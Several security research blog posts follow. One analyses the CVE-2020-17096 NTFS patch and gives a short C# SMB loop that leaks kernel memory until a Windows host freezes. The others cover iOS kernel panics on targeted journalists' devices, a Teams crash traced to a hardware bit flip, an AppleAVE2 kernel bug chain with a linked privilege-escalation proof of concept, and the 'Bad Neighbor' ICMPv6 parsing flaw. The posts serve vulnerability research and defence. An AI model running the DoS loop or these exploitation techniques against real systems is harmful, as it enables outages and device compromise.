    if (NtfsStatusDebugFlags) {
      // ...
    // *** Change 1: First argument changed from NULL to IrpContext
    NtfsExtendedCompleteRequestInternal(NULL, Irp, 0xc000000d, 1, 0);
    // *** Change 2: The following if block was completely removed
    if (IrpContext && *(PIRP *)(IrpContext + 0x68) == Irp) {
      *(PIRP *)(IrpContext + 0x68) = NULL;
    if (NtfsStatusDebugFlags) {
      // ...
    return 0xc000000d;

  // The rest of the function...

Triggering the vulnerable code

From the name of the function, we deduced that it’s responsible for handling offload read requests, part of the Offloaded Data Transfers functionality introduced in Windows 8. An offload read can be requested remotely via SMB by issuing the FSCTL_OFFLOAD_READ control code.

Indeed, by issuing the FSCTL_OFFLOAD_READ control code we’ve seen that the NtfsOffloadRead function is being called, but the first if branch is skipped. After some experimentation, we saw that one way to trigger the branch is by opening a folder, not a file, before issuing the offload read.

Exploring exploitation options

We looked at each of the two changes and tried to come up with the simplest way to cause some trouble to a vulnerable computer.

  • First change: The NtfsExtendedCompleteRequestInternal function wasn’t receiving the IrpContext parameter.

    Briefly looking at NtfsExtendedCompleteRequestInternal, it seems that if the first parameter is NULL, it’s being ignored. Otherwise, the numerous fields of the IrpContext structure are being freed using functions such as ExFreePoolWithTag. The code is rather long and we didn’t analyze it thoroughly, but from a quick glance we didn’t find a way to misuse the fact that those functions aren’t being called in the vulnerable version. We observed, thought, that the bug causes a memory leak in the non-paged pool which is guaranteed to reside in physical memory.

    We implemented a small tool that issues offload reads in an infinite loop. After a couple of hours, our vulnerable VM ran out of memory and froze, no longer responding to any input. Below you can see the Task Manager screenshots and the code that we used.

  • Second change: An IRP pointer field, part of IrpContex, was set to NULL.

    From our quick attempt, we didn’t find a way to misuse the fact that the IRP pointer field is set to NULL. If you have any ideas, let us know.

What about remote code execution?

We’re curious about that as much as you are. Unfortunately, there’s a limited amount of time that we can invest in satisfying our curiosity. We went as far as finding the vulnerable code and triggering it to cause a memory leak and an eventual denial of service, but we weren’t able to exploit it for remote code execution.

It is possible that there’s no actual remote code execution here, and it was marked as such just in case, as it happened with the “Bad Neighbor” ICMPv6 Vulnerability (CVE-2020-16898). If you have any insights, we’ll be happy to hear about them.

CVE-2020-17096 POC (Denial of Service)

Before. An idle VM with a standard configuration and no running programs.

After. The same idle VM after triggering the memory leak, unresponsive.

using (var trans = new Smb2ClientTransport())
    var ipAddress = System.Net.IPAddress.Parse(ip);
    trans.ConnectShare(server, ipAddress, domain, user, pass, share, SecurityPackageType.Negotiate, true);

        FsDirectoryDesiredAccess.GENERIC_READ | FsDirectoryDesiredAccess.GENERIC_WRITE,

    offloadReadInput.Size = 32;
    offloadReadInput.FileOffset = 0;
    offloadReadInput.CopyLength = 0;

    byte[] requestInputOffloadRead = TypeMarshal.ToBytes(offloadReadInput);

    while (true)
        trans.SendIoctlPayload(CtlCode_Values.FSCTL_OFFLOAD_READ, requestInputOffloadRead);
        trans.ExpectIoctlPayload(out _, out _);

C# code that causes the memory leak and the eventual denial of service. Was used with the Windows Protocol Test Suites.

Remote iOS Attacks Targeting Journalists: More Than One Threat Actor?

21 December 2020 at 09:30
Remote iOS Attacks Targeting Journalists: More Than One Threat Actor?

ZecOps is proud to share that we detected multiple exploits by the threat actors that recently targeted Aljazeera’s journalists before it was made public. The attack detection was automatically detected using ZecOps Mobile DFIR.

In this blog post, we’ll share our analysis of the post-exploitation kernel panics observed on one of the targeted devices.

Key details on the attacks targeting journalists in Middle East:

  • First known attack: earliest signs of compromise on January 17th, 2020.
  • Was the attack successful: Yes – the device shows signs for successfully planted malware / rootkit.
  • Persistence: The device shows signs for a persistent malware that is capable of surviving reboots. It is unclear if the device was re-infected following an OS update, or that the malware also persisted between OS updates.
  • Attack Impact: The threat-operators were able to continuously access the device microphone, camera, and data including texts, and emails for the entire period.
  • Attribution: We named this threat actor Desert Cobra. We do not rule out that NSO (aka “NSO Group”) was involved in the other reporters’ cases that was published today by Citizen Labs. We refrain from naming the particular threat actor that targeted one of the victims in Citizen-Labs report, NSO, due to some activities that do not add-up with our Mobile Threat Intelligence on NSO. We also do not rule out that this device was potentially compromised by more than one threat actor simultaneously.
  • OS Update? We do recommend updating to the latest iOS version, however we have no evidence that this actually fixes any of the vulnerabilities that were exploited by this threat operator(s).

Post-exploitation Panic Analysis

A tale of two panics: MobileMail and mediaanalysisd: kauth_cred_t corruption

The following stack backtrace of the MobileMail panic indicates that the panic happened on function kauth_cred_unref:

panic(cpu 2 caller 0xfffffff02a2f47f0): "kfree: size 8589934796 > kalloc_largest_allocated 21938176"
_func_fffffff007b747f0 + 0 ~ (kfree + 340)
sfree() + 28
_func_fffffff008debd5c + 68 ~ (_mpo_cred_check_label_update + 2904)
_func_fffffff008df5f48 + 92 ~ (_sandbox_hook_policy_syscall + 6488)
_func_fffffff008df5d8c + 300 ~ (_sandbox_hook_policy_syscall + 6252)
_func_fffffff008de309c + 64 ~ (_check_boolean_entitlement + 1716)
_func_fffffff0081538e8 + 76 ~ (audit_session_unref)
_func_fffffff007f3f790 + 200 ~ (kauth_cred_unref)
 _vn_open_auth + 1612
 _open1 + 256
 _open + 528

kauth_cred_unref frees credential structures from the kernel. The following is the stack backtrace of the mediaanalysisd panic, it also panicked on function “kauth_cred_unref”:

_func_fffffff008db5d4c + 260 ~ (_sandbox_hook_policy_syscall + 6212)         
       0xfffffff010795e50  ldr x8, [x21]                  
       0xfffffff010795e54  str x8, [x19, x22, lsl #3]     
       0xfffffff010795e58  b 0x01db5e78    // 0xfffffff01254bcd0 
       0xfffffff010795e5c  ldr x9, [x8] 
 _func_fffffff008da305c + 64 ~ (_check_boolean_entitlement + 1716)
 _func_fffffff00814783c + 76 ~ (audit_session_unref)
 _func_fffffff007f336f4 + 200 ~ (kauth_cred_unref)
_func_fffffff007cebec8 + 444 ~ (_copyin + 4560)
_copyin + 2224

Function “kauth_cred_free” calls by “kauth_cred_unref”, code as follows:

static void kauth_cred_free(kauth_cred_t cred)
assert(os_atomic_load(&cred->cr_ref, relaxed) == 0);
AUDIT_SESSION_UNREF(cred); // ← call kfree, panic inside
FREE_ZONE(cred, sizeof(*cred), M_CRED);

Both of the panics happened inside “AUDIT_SESSION_UNREF”, which means the credential structure of the processes was corrupted.

A classic way to gain root access for a kernel exploit is to replace the credential structure of an attacker controlled process with the kernel credentials. Please note that it doesn’t necessarily mean MobileMail or mediaanalysisd was controlled, the corruption of the credential structures could have also happened due to wrong offsets during exploitation.

ZecOps customers: no further action is required. The deployed systems detect these activities. The complete report and full IOC list is available in ZecOps Threat Intelligence feed.

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Crash Analysis Series: An exploitable bug on Microsoft Teams ?! A Tale of One Bit

24 November 2020 at 05:52
Crash Analysis Series: An exploitable bug on Microsoft Teams ?! A Tale of One Bit

This is a story about a Microsoft Teams crash that we investigated recently. At first glance, it looked like a possible arbitrary code execution vulnerability, but after diving deeper we realized that there’s another explanation for the crash.


  • ZecOps ingested and analyzed an event that seems exploitable on a Windows machine from Microsoft Teams
  • This machine has a lot of other anomalies
  • ZecOps verifies anomalies such as: blue screens, sudden crashes, mobile restarts without clicking on the power button; and determines if they are related to cyber attacks, software/hardware issues, or configuration problems. 
  • Spoiler alert (text beneath the black highlight):

After further analyzing the crash, we realized that the faulty hardware was causing this exploitable event to appear, and not related to an intentional attack. We suspect that a bit flip was caused due to a bad hardware component.

  • Business impact: Hardware problems are more common than we think. Repeating faulty hardware-issues lead to continuous loss of productivity, context-switches, and IT/Cyber disruptions. Identifying faulty hardware can save a lot of time. We recommend using the freely available and agent-less tool ZOTOMATE to identify what is SW/HW problems. ZecOps is leveraging machine-learning and its mobile threat intelligence, mobile DFIR, as well as endpoints and servers crash analysis solution, and mobile apps crash-analysis to perform such analysis at scale. 

The crash

Looking at the call stack, we saw that the process crashed due to a stack overflow:

 # Child-SP          RetAddr               Call Site
00 000000e5`84600f20 00007ffd`9048ebbc     ntdll!RtlDispatchException+0x3c
01 000000e5`84601150 00007ffd`9049a49a     ntdll!RtlRaiseStatus+0x5c
02 000000e5`846016f0 00007ffd`9048ebbc     ntdll!RtlDispatchException+0xa5cba
03 000000e5`84601e20 00007ffd`9049a49a     ntdll!RtlRaiseStatus+0x5c
04 000000e5`846023c0 00007ffd`9048ebbc     ntdll!RtlDispatchException+0xa5cba
05 000000e5`84602af0 00007ffd`9049a49a     ntdll!RtlRaiseStatus+0x5c
06 000000e5`84603090 00007ffd`9049350e     ntdll!RtlDispatchException+0xa5cba
07 000000e5`846037c0 00007ffd`9048eb73     ntdll!KiUserExceptionDispatch+0x2e
08 000000e5`84603f60 00007ffd`9049a49a     ntdll!RtlRaiseStatus+0x13
09 000000e5`84604500 00007ffd`9048ebbc     ntdll!RtlDispatchException+0xa5cba
0a 000000e5`84604c30 00007ffd`9049a49a     ntdll!RtlRaiseStatus+0x5c
0b 000000e5`846051d0 00007ffd`9048ebbc     ntdll!RtlDispatchException+0xa5cba
[307 more pairs of RtlRaiseStatus and RtlDispatchException]
272 000000e5`846fb670 00007ffd`9049a49a     ntdll!RtlRaiseStatus+0x5c
273 000000e5`846fbc10 00007ffd`9049350e     ntdll!RtlDispatchException+0xa5cba
274 000000e5`846fc340 00007ff7`8b93338a     ntdll!KiUserExceptionDispatch+0x2e
275 000000e5`846fcad0 00007ff7`8b922e4d     Teams!v8_inspector::V8StackTraceId::ToString+0x39152a
[More Teams frames...]
2c1 000000e5`846ffa40 00007ffd`9045a271     kernel32!BaseThreadInitThunk+0x14
2c2 000000e5`846ffa70 00000000`00000000     ntdll!RtlUserThreadStart+0x21

It can be seen from the call stack that the original exception occurred earlier, at address 00007ff7`8b93338a. Due to an incorrect exception handling, the RtlDispatchException function raised the STATUS_INVALID_DISPOSITION exception again and again in a loop, until no space was left in the stack and the process crashed. That’s an actual bug in Teams that Microsoft might want to fix, but it manifests itself only when the process is about to crash anyway, so that might not be a top priority.

The original exception

To extract the original exception that occurred on address 00007ff7`8b93338a, we did what Raymond Chen suggested in his blog post, Sucking the exception pointers out of a stack trace. Using the .cxr command with the context record structure passed to the KiUserExceptionDispatcher function, we got the following output:

0:000> .cxr 000000e5846fc340
rax=00005f5c70818010 rbx=00005f5c70808010 rcx=000074e525bf0e08
rdx=0000006225f01970 rsi=000016b544b495b0 rdi=0001000000000000
rip=00007ff78b93338a rsp=000000e5846fcad0 rbp=0000000000000009
 r8=000000e5846fcb68  r9=00000000ff000000 r10=0000000000ff0000
r11=000000cea999e331 r12=00005f5c70808010 r13=0000000000001776
r14=0000006225f01970 r15=000000e5846fcaf8
iopl=0         nv up ei pl nz na pe nc
cs=0033  ss=002b  ds=002b  es=002b  fs=0053  gs=002b             efl=00010202
00007ff7`8b93338a 488b07          mov     rax,qword ptr [rdi] ds:00010000`00000000=????????????????

The original exception was triggered by accessing an invalid pointer of the value 00010000`00000000. Not only does the pointer look invalid, It’s actually a non-canonical address in today’s hardware implementations of x86-64, which means that it can’t ever be allocated or become valid. Next, we looked at the assembly commands below the crash:

0:000> u
00007ff7`8b93338a 488b07          mov     rax,qword ptr [rdi]
00007ff7`8b93338d 4889f9          mov     rcx,rdi
00007ff7`8b933390 ff5008          call    qword ptr [rax+8]

Very interesting! If we can control the rdi register at this point of the execution, that’s a great start for arbitrary code execution. All we need to control the instruction pointer is to be able to build a fake virtual table, or to use an existing one, and the lack of support for Control Flow Guard (CFG) makes things even easier. As a side note, there’s an issue about adding CFG support which is being actively worked on.

At this point, we wanted to find answers to the following questions:

  • How can this bug be reproduced?
  • What source of input can trigger the bug? Specifically, can it be triggered remotely?
  • To what extent can the pointer be controlled?

The original exception stack trace

In order to try and reproduce the crash, we needed to gather more information about what was going on when the exception occurred. We checked the original exception stack trace and got the following:

0:000> k
 # Child-SP          RetAddr               Call Site
00 000000e5`846fcad0 00007ff7`8b922e4d     Teams!v8_inspector::V8StackTraceId::ToString+0x39152a
01 000000e5`846fcb40 00007ff7`8b92f29b     Teams!v8_inspector::V8StackTraceId::ToString+0x380fed
02 000000e5`846fcbc0 00007ff7`8b92f21f     Teams!v8_inspector::V8StackTraceId::ToString+0x38d43b
03 000000e5`846fcc00 00007ff7`8b9308c0     Teams!v8_inspector::V8StackTraceId::ToString+0x38d3bf
04 000000e5`846fcc80 00007ff7`8b064123     Teams!v8_inspector::V8StackTraceId::ToString+0x38ea60
05 000000e5`846fce10 00007ff7`8b08b411     Teams!v8::Unlocker::~Unlocker+0xf453
06 000000e5`846fce60 00007ff7`8b088f16     Teams!v8::Unlocker::~Unlocker+0x36741
07 000000e5`846fd030 00007ff7`8b087eff     Teams!v8::Unlocker::~Unlocker+0x34246
08 000000e5`846fd190 00007ff7`8b053b79     Teams!v8::Unlocker::~Unlocker+0x3322f
09 000000e5`846fd1c0 00007ff7`8b364e51     Teams!v8::Unwinder::PCIsInV8+0x22059
0a 000000e5`846fd2e0 00007ff7`8b871abd     Teams!v8::internal::TickSample::print+0x54071
0b 000000e5`846fd3d0 00007ff7`8b84e3b8     Teams!v8_inspector::V8StackTraceId::ToString+0x2cfc5d
0c 000000e5`846fd420 00005ebc`b2fdc6a9     Teams!v8_inspector::V8StackTraceId::ToString+0x2ac558
0d 000000e5`846fd468 00007ff7`8b800cb8     0x00005ebc`b2fdc6a9
[More Teams frames...]
4c 000000e5`846ffa40 00007ffd`9045a271     kernel32!BaseThreadInitThunk+0x14
4d 000000e5`846ffa70 00000000`00000000     ntdll!RtlUserThreadStart+0x21

It can be deduced from the large offsets that something is wrong with the symbols, as Raymond Chen also explains in his blog post, Signs that the symbols in your stack trace are wrong. In fact, Teams comes with no symbols, and there’s no public symbol server for it, so the symbols we see in the stack trace are some of the few functions exported by name. Fortunately, Teams is based on Electron which is open source, so we were able to match the Teams functions on the stack to the same functions in Electron. At first, we tried to do that with a binary diffing tool, but it didn’t work so well due to the executable/symbol files being so large (exe – 120 MB, pdb – 2 GB), so we ended up matching the functions manually.

Here’s what we got after matching the symbols:

 # Call Site
00 WTF::WeakProcessingHashTableHelper<...>::Process
01 blink::ThreadHeap::WeakProcessing
02 blink::ThreadState::MarkPhaseEpilogue
03 blink::ThreadState::AtomicPauseMarkEpilogue
04 blink::UnifiedHeapController::TraceEpilogue
05 v8::internal::GlobalHandles::InvokeFirstPassWeakCallbacks
06 v8::internal::Heap::CollectGarbage
07 v8::internal::Heap::CollectGarbage
08 v8::internal::Heap::HandleGCRequest
09 v8::internal::StackGuard::HandleInterrupts
0a v8::internal::Runtime_StackGuard
0b v8::internal::compiler::JSCallReducer::ReduceArrayIteratorPrototypeNext
0c Builtins_ObjectPrototypeHasOwnProperty

WTF was indeed our reaction when we saw where the exception occurred (which, of course, means Web Template Framework).

From what we can see, the hasOwnProperty object method was called, at which point the garbage collection was triggered, and the invalid pointer was accessed while processing one of its internal hash tables. Could it be that we found a memory bug in the V8 garbage collection? We believed it to be quite unlikely. And if so, how do we reproduce it?

Switching context

At this point we put the Teams crash on hold and went on to look at the other crashes which occurred on the same computer. Once we did that, it all became clear: it had several BSODs, all of the type MEMORY_CORRUPTION_ONE_BIT, indicating a faulty memory/storage hardware. And looks like that’s exactly what happened in the Teams crash: the faulty address was originally a NULL pointer, but because of a corrupted bit it became 00010000`00000000, causing the exception and the crash.


The conclusion is that the relevant computer needs to have its faulty hardware replaced, and of course there’s nothing wrong with V8’s garbage collection that has anything to do with the crash. That’s yet another reminder that hardware problems can cause various anomalies that are hard to explain, such as this Teams crash or crashing at the xor eax, eax instruction.

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Running code in the context of iOS Kernel: Part I + LPE POC on iOS 13.7

19 November 2020 at 18:57
Running code in the context of iOS Kernel: Part I + LPE POC on iOS 13.7

Abstract.  Due to its popularity, iOS has attracted the attention of a large number of security researchers.  Apple is constantly improving iOS security, develops and adapts new mitigations at a rapid pace. In terms of the effectiveness of mitigation measures, Apple increases the complexity of hacking iOS devices making it one of the hardest platforms to hack, however, it is not yet sufficient to block skilled individuals and well-funded groups from achieving remote code execution with elevated permissions, and persistence on the device.

This blog post is the first of multiple in a series of achieving elevated privileges on iOS. 

This series of posts will go all the way until privileged access is obtained, the userspace exploit, as well as persistence on the device following a reboot. The full reports are currently available to iOS Threat Intelligence subscribers of ZecOps Mobile Threat Intelligence.

We will cover in detail how chaining a few bugs leads us to run code in the context of iOS kernel. Chaining such bugs with other exploits (e.g. the iOS MailDemon vulnerability, or other webkit based bugs) allow to gain full remote control over iOS devices.

This exploit was obtained as part of ZecOps Reverse Bounty, and donated to FreeTheSandbox initiative.

Freethesandbox.org – Free The Sandbox restrictions from iOS & Android devices

We would like to thank @08Tc3wBB for participating in ZecOps Reverse Bounty, and everyone else that helped in this project. We would also like to thank the Apple Security team for fixing these bugs and preventing further abuse of these bugs in up to date versions of iOS.

As we’re planning to release the additional blogs, we are already releasing a full Local Privilege Escalation chain that works on iOS 13.7 and earlier versions on both PAC and non-PAC devices.

We are making this release fully open-source for transparency. We believe that it is the best outcome to improve iOS research and platform security.

You may access the source here: https://github.com/ZecOps/FreeTheSandbox_LPE_POC_13.7

The Vulnerabilities – Part I

AppleAVE2 is a graphics IOKit driver that runs in kernel space and exists only on iOS and just like many other iOS-exclusive drivers, it’s not open-source and most of the symbols have been removed. 

The driver cant be accessed from the default app sandbox environment, which reduces the chances of thorough analysis by Apple engineers or other researchers. The old implementation of this driver seems like a good attack surface and the following events demonstrate this well. 

iOS Threat Intelligence

Back in 2017,  7 vulnerabilities were exposed in the same driver, by Adam Donenfeld of the Zimperium zLabs Team,

From the description of these vulnerabilities, some remain attractive even today, while powerful mitigations like PAC (for iPhones/iPads with A12 and above) and zone_require (iOS 13 and above) are present, arbitrary memory manipulation vulnerabilities such as CVE-2017-6997, CVE-2017-6999 play a far greater role than execution hijacking type, have great potential when used in chain with various information leakage vulnerabilities.

Despite the fact that these vulnerabilities have CVEs, which generally indicating that they have been fixed, Apple previously failed to fix bugs in one go and even bug regressions. With that in-mind, let’s commence our journey to hunt the next AVE vulnerability! 

We will start off from the user-kernel data interaction interface:

user-kernel data

AppleAVE2 exposes 9 (index 0-8) methods via rewriting IOUserClient::externalMethod:

Two exposed methods (index 0 and 1) allow to add or remove clientbuf(s), by the FIFO order.

The rest of the methods (index 3-8) are all eventually calling AppleAVE2Driver::SetSessionSettings through IOCommandGate to ensure thread-safe and avoid racing.

 *1 Overlapping Segment Attack against dyld to achieve untethered jailbreak, first appearance in iOS 6 jailbreak tool — evasi0n, then similar approach shown on every public jailbreak, until after Pangu9, Apple seems finally eradicated the issue.
*2  Apple accidentally re-introduces previously fixed security flaw in a newer version.

We mainly use method at index 7 to encode a clientbuf, which basically means to load many IOSurfaces via IDs provided from userland, and use method at index 6 to trigger trigger the multiple security flaws located inside AppleAVE2Driver::SetSessionSettings.

The following chart entails a relationship map between salient objects:

clientbuf is memory buffer allocated via IOMalloc, with quite significant size (0x29B98 in iOS 13.2).

Every clientbuf objext thats is being added contains pointers to the front and back, forming a double-linked list, so that the AppleAVE2Driver’s instance stores only the first clientbuf pointer.

The clientbuf contains multiple MEMORY_INFO structures. When user-space provides IOSurface, an iosurfaceinfo_buf will be allocated and then used to fill these structures.

iosurfaceinfo_buf contains a pointer to AppleAVE, as well as variables related to mapping from user-space to kernel-space.

As part of the clientbuf structure, the content of these InitInfo_block(s) is copied from user-controlled memory through IOSurface, this happens when the user first time calls another exposed method(At index 7) after adding a new clientbuf.

m_DPB is related to arbitrary memory reading primitive which will be explained later in this post.

Brief Introduction to IOSurface

In case if you are not familiar with IOSurface, read the below:

According to Apple’s description IOSurface is used for sharing hardware-accelerated buffer data ( for framebuffers and textures) more efficiently across multiple processes.

Unlike AppleAVE, an IOSurface object can be easily created by any userland process (using IOSurfaceRootUserClient). When creating an IOSurface object you will get a 32 bit long Surface ID number for indexing purposes in the kernel so that the kernel will be able to map the userspace memory associated with the object into kernel space.  

Now with these concepts in mind let’s talk about the AppleAVE vulnerabilities. 

The First Vulnerability (iOS 12.0 – iOS 13.1.3)

The first AppleAVE vulnerability has given CVE-2019-8795 and together with other two vulnerabilities — A Kernel Info-Leak(CVE-2019-8794) that simply defeats KASLR, and a Sandbox-Escape(CVE-2019-8797) that’s necessary to access AppleAVE, created an exploit chain on iOS 12 that was able to jailbreak the device. That’s until the final release of iOS 13, which  destroyed the Sandbox-Escape by applying sandbox rules to the vulnerable process and preventing it from accessing AppleAVE, So the sandbox escape was replaced with another sandbox escape vulnerability that was discussed before. 

The first AppleAVE vulnerability was eventually fixed after the update of iOS 13.2.

Here is a quick description about it and for more detailed-write up you can look at a previous writeup.

When a user releases a clientbuf, it will go through every MEMORY_INFO that the clientbuf contains and will attempt to unmap and release related memory resources.

The security flaw is quite obvious if you compare to how Apple fixed it:

The unfixed version has defect code due to an  out-of-bounds access that allows an attacker to hijack kernel code execution in regular and PAC-enabled devices. This flaw can also become an arbitrary memory release primitive via the operator delete. and back then, before Apple fixed zone_require flaw on iOS 13.6, that was enough to achieve jailbreak on the latest iOS device.

The POC released today is just an initial version that will allow others to take it further. The POC shares basic analytics data with ZecOps to find additional vulnerabilities and help further secure iOS – this option can be disabled in the source.

In the next posts we’ll cover:

  • Additional vulnerabilities in the kernel
  • Exploiting these vulnerabilities
  • User-space vulnerabilities
  • The ultimate persistence mechanism that is likely to never be patched

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Exploring the Exploitability of “Bad Neighbor”: The Recent ICMPv6 Vulnerability (CVE-2020-16898)

11 November 2020 at 19:59
Exploring the Exploitability of “Bad Neighbor”: The Recent ICMPv6 Vulnerability (CVE-2020-16898)

At the Patch Tuesday on October 13, Microsoft published a patch and an advisory for CVE-2020-16898, dubbed “Bad Neighbor”, which was undoubtedly the highlight of the monthly series of patches. The bug has received a lot of attention since it was published as an RCE vulnerability, meaning that with a successful exploitation it could be made wormable. Initially, it was graded with a high CVSS score of 9.8/10, though it was later lowered to 8.8.

In days following the publication, several write-ups and POCs were published. We looked at some of them:

The writeup by pi3 contains details that are not mentioned in the writeup by Quarkslab. It’s important to note that the bug can only be exploited when the source address is a link-local address. That’s a significant limitation, meaning that the bug cannot be exploited over the internet. In any case, both writeups explain the bug in general and then dive into triggering a buffer overflow, causing a system crash, without exploring other options.

We wanted to find out whether something else could be done with this vulnerability, aside from triggering the buffer overflow and causing a blue screen (BSOD)

In this writeup, we’ll share our findings.

The bug in a nutshell

The bug happens in the tcpip!Ipv6pHandleRouterAdvertisement function, which is responsible for handling incoming ICMPv6 packets of the type Router Advertisement (part of the Neighbor Discovery Protocol).

The packet structure is (RFC 4861):

 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
|     Type      |     Code      |          Checksum             |
| Cur Hop Limit |M|O|  Reserved |       Router Lifetime         |
|                         Reachable Time                        |
|                          Retrans Timer                        |
|   Options ...

As can be seen from the packet structure, the packet consists of a 16-bytes header, followed by a variable amount of option structures. Each option structure begins with a type field and a length field, followed by specific fields for the relevant option type.

The bug happens due to an incorrect handling of the Recursive DNS Server Option (type 25, RFC 5006):

 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
|     Type      |     Length    |           Reserved            |
|                           Lifetime                            |
|                                                               |
:            Addresses of IPv6 Recursive DNS Servers            :
|                                                               |

The Length field defines the length of the option in units of 8 bytes. The option header size is 8 bytes, and each IPv6 address adds additional 16 bytes to the length. That means that if the structure contains n IPv6 addresses, the length is supposed to be set to 1+2*n. The bug happens when the length is an even number, causing the code to incorrectly interpret the beginning of the next option structure.

Visualizing the POC of 0xeb-bp

As a starting point, let’s visualize 0xeb-bp’s POC and get some intuition about what’s going on and why it causes a stack overflow. Here is the ICMPv6 packet as constructed in the source code:

As you can see, the ICMPv6 packet is followed by two Recursive DNS Server options (type 25), and then a 256-bytes buffer. The two options have an even length of 4, which triggers the bug.

The tcpip!Ipv6pHandleRouterAdvertisement function that parses the packet does two iterations over the option structures. The first iteration does simple checks such as verifying the length field of the structures. The second iteration actually parses the option structures. Because of the bug, each iteration interprets the packet differently.

Here’s how the first iteration sees the packet:

Each option structure is just skipped according to the length field after doing some basic checks.

Here’s how the second iteration sees it:

This time, in the case of a Recursive DNS Server option, the length field is used to determine the amount of IPv6 addresses, which is calculated as following:

amount_of_addr = (length – 1) / 2

Then, the IPv6 addresses are processed, and the next iteration continues after the last processed IPv6 address, which, in case of an even length value, happens to be in the middle of the option structure compared to what the first iteration sees. This results in processing an option structure which wasn’t validated in the first iteration. 

Specifically in this POC, 34 is not a valid length for option of the type 24, but because it wasn’t validated, the processing continues and too many bytes are copied on the stack, causing a stack overflow. Noteworthy, fragmentation is required for triggering the stack overflow (see the Quarkslab writeup for details).

Zooming out

Now we know how to trigger a stack overflow using CVE-2020-16898, but what are the checks that are made in each of the mentioned iterations? What other checks, aside from the length check, can we bypass using this bug? Which option types are supported, and is the handling different for each of them? 

We didn’t find answers to these questions in any writeup, so we checked it ourselves.

Here are the relevant parts of the Ipv6pHandleRouterAdvertisement function, slightly simplified:

void Ipv6pHandleRouterAdvertisement(...)
    // Initialization and other code...

    if (!IsLinkLocalAddress(SrcAddress) && !IsLoopbackAddress(SrcAddress))
        // error

    // Initialization and other code...

    NET_BUFFER NetBuffer = /* ... */;

    // First loop
    while (NetBuffer->DataLength >= 2)
        BYTE TempTypeLen[2];
        BYTE* TempTypeLenPtr = NdisGetDataBuffer(NetBuffer, 2, TempTypeLen, 1, 0);
        WORD OptionLenInBytes = TempTypeLenPtr[1] * 8;
        if (OptionLenInBytes == 0 || OptionLenInBytes > NetBuffer->DataLength)
            // error

        BYTE OptionType = TempTypeLenPtr[0];
        switch (OptionType)
        case 1: // Source Link-layer Address
            // ...

        case 3: // Prefix Information
            if (OptionLenInBytes != 0x20)
                // error

            BYTE TempPrefixInfo[0x20];
            BYTE* TempPrefixInfoPtr = NdisGetDataBuffer(NetBuffer, 0x20, TempPrefixInfo, 1, 0);
            BYTE PrefixInfoPrefixLength = TempRouteInfoPtr[2];
            if (PrefixInfoPrefixLength > 128)
                // error

        case 5: // MTU
            // ...

        case 24: // Route Information Option
            if (OptionLenInBytes > 0x18)
                // error

            BYTE TempRouteInfo[0x18];
            BYTE* TempRouteInfoPtr = NdisGetDataBuffer(NetBuffer, 0x18, TempRouteInfo, 1, 0);
            BYTE RouteInfoPrefixLength = TempRouteInfoPtr[2];
            if (RouteInfoPrefixLength > 128 ||
                (RouteInfoPrefixLength > 64 && OptionLenInBytes < 0x18) ||
                (RouteInfoPrefixLength > 0 && OptionLenInBytes < 0x10))
                // error

        case 25: // Recursive DNS Server Option
            if (OptionLenInBytes < 0x18)
                // error

            // Added after the patch - this it the fix
            //if (OptionLenInBytes - 8 % 16 != 0)
            //    // error

        case 31: // DNS Search List Option
            if (OptionLenInBytes < 0x10)
                // error

        NetBuffer->DataOffset += OptionLenInBytes;
        NetBuffer->DataLength -= OptionLenInBytes;
        // Other adjustments for NetBuffer...

    // Rewind NetBuffer and do other stuff...

    // Second loop...
    while (NetBuffer->DataLength >= 2)
        BYTE TempTypeLen[2];
        BYTE* TempTypeLenPtr = NdisGetDataBuffer(NetBuffer, 2, TempTypeLen, 1, 0);
        WORD OptionLenInBytes = TempTypeLenPtr[1] * 8;
        if (OptionLenInBytes == 0 || OptionLenInBytes > NetBuffer->DataLength)
            // error

        BOOL AdvanceBuffer = TRUE;

        BYTE OptionType = TempTypeLenPtr[0];
        switch (OptionType)
        case 3: // Prefix Information
            BYTE TempPrefixInfo[0x20];
            BYTE* TempPrefixInfoPtr = NdisGetDataBuffer(NetBuffer, 0x20, TempPrefixInfo, 1, 0);
            BYTE PrefixInfoPrefixLength = TempRouteInfoPtr[2];
            // Lots of code. Assumptions:
            // PrefixInfoPrefixLength <= 128

        case 24: // Route Information Option
            BYTE TempRouteInfo[0x18];
            BYTE* TempRouteInfoPtr = NdisGetDataBuffer(NetBuffer, 0x18, TempRouteInfo, 1, 0);
            BYTE RouteInfoPrefixLength = TempRouteInfoPtr[2];
            // Some code. Assumptions:
            // PrefixInfoPrefixLength <= 128
            // Other, less interesting assumptions about PrefixInfoPrefixLength

        case 25: // Recursive DNS Server Option
            Ipv6pUpdateRDNSS(..., NetBuffer, ...);
            AdvanceBuffer = FALSE;

        case 31: // DNS Search List Option
            Ipv6pUpdateDNSSL(..., NetBuffer, ...);
            AdvanceBuffer = FALSE;

        if (AdvanceBuffer)
            NetBuffer->DataOffset += OptionLenInBytes;
            NetBuffer->DataLength -= OptionLenInBytes;
            // Other adjustments for NetBuffer...

    // More code...

As can be seen from the code, only 6 option types are supported in the first loop, the others are ignored. In any case, each header is skipped precisely according to the Length field.

Even less options, 4, are supported in the second loop. And similarly to the first loop, each header is skipped precisely according to the Length field, but this time with two exceptions: types 24 (the Route Information Option) and 25 (Recursive DNS Server Option) have functions which adjust the network buffer pointers by themselves, creating an opportunity for inconsistencies. 

That’s exactly what is happening with this bug – the Ipv6pUpdateRDNSS function doesn’t adjust the network buffer pointers as expected when the length field is even.

Breaking assumptions

Essentially, this bug allows us to break the assumptions made by the second loop that are supposed to be verified in the first loop. The only option types that are relevant are the 4 types which appear in both loops, that’s also why we didn’t include the other 2 in the code of the first loop. One such assumption is the value of the length field, and that’s how the buffer overflow POC works, but let’s revisit them all and see what can be achieved.

  • Option type 3 – Prefix Information
    • The option structure size must be 0x20 bytes. Breaking this assumption is what allows us to trigger the stack overflow, by providing a larger option structure. We can also provide a smaller structure, but that doesn’t have much value in this case.
    • The Prefix Length field value must be at most 128. Breaking this assumption allows us to set the field to an invalid value in the range of 129-255. This can indeed be used to cause an out-of-bounds data write, but in all such cases that we could find, the out-of-bounds write happens on the stack in a location which is overridden later anyway, so causing such out-of-bounds writes has no practical value.

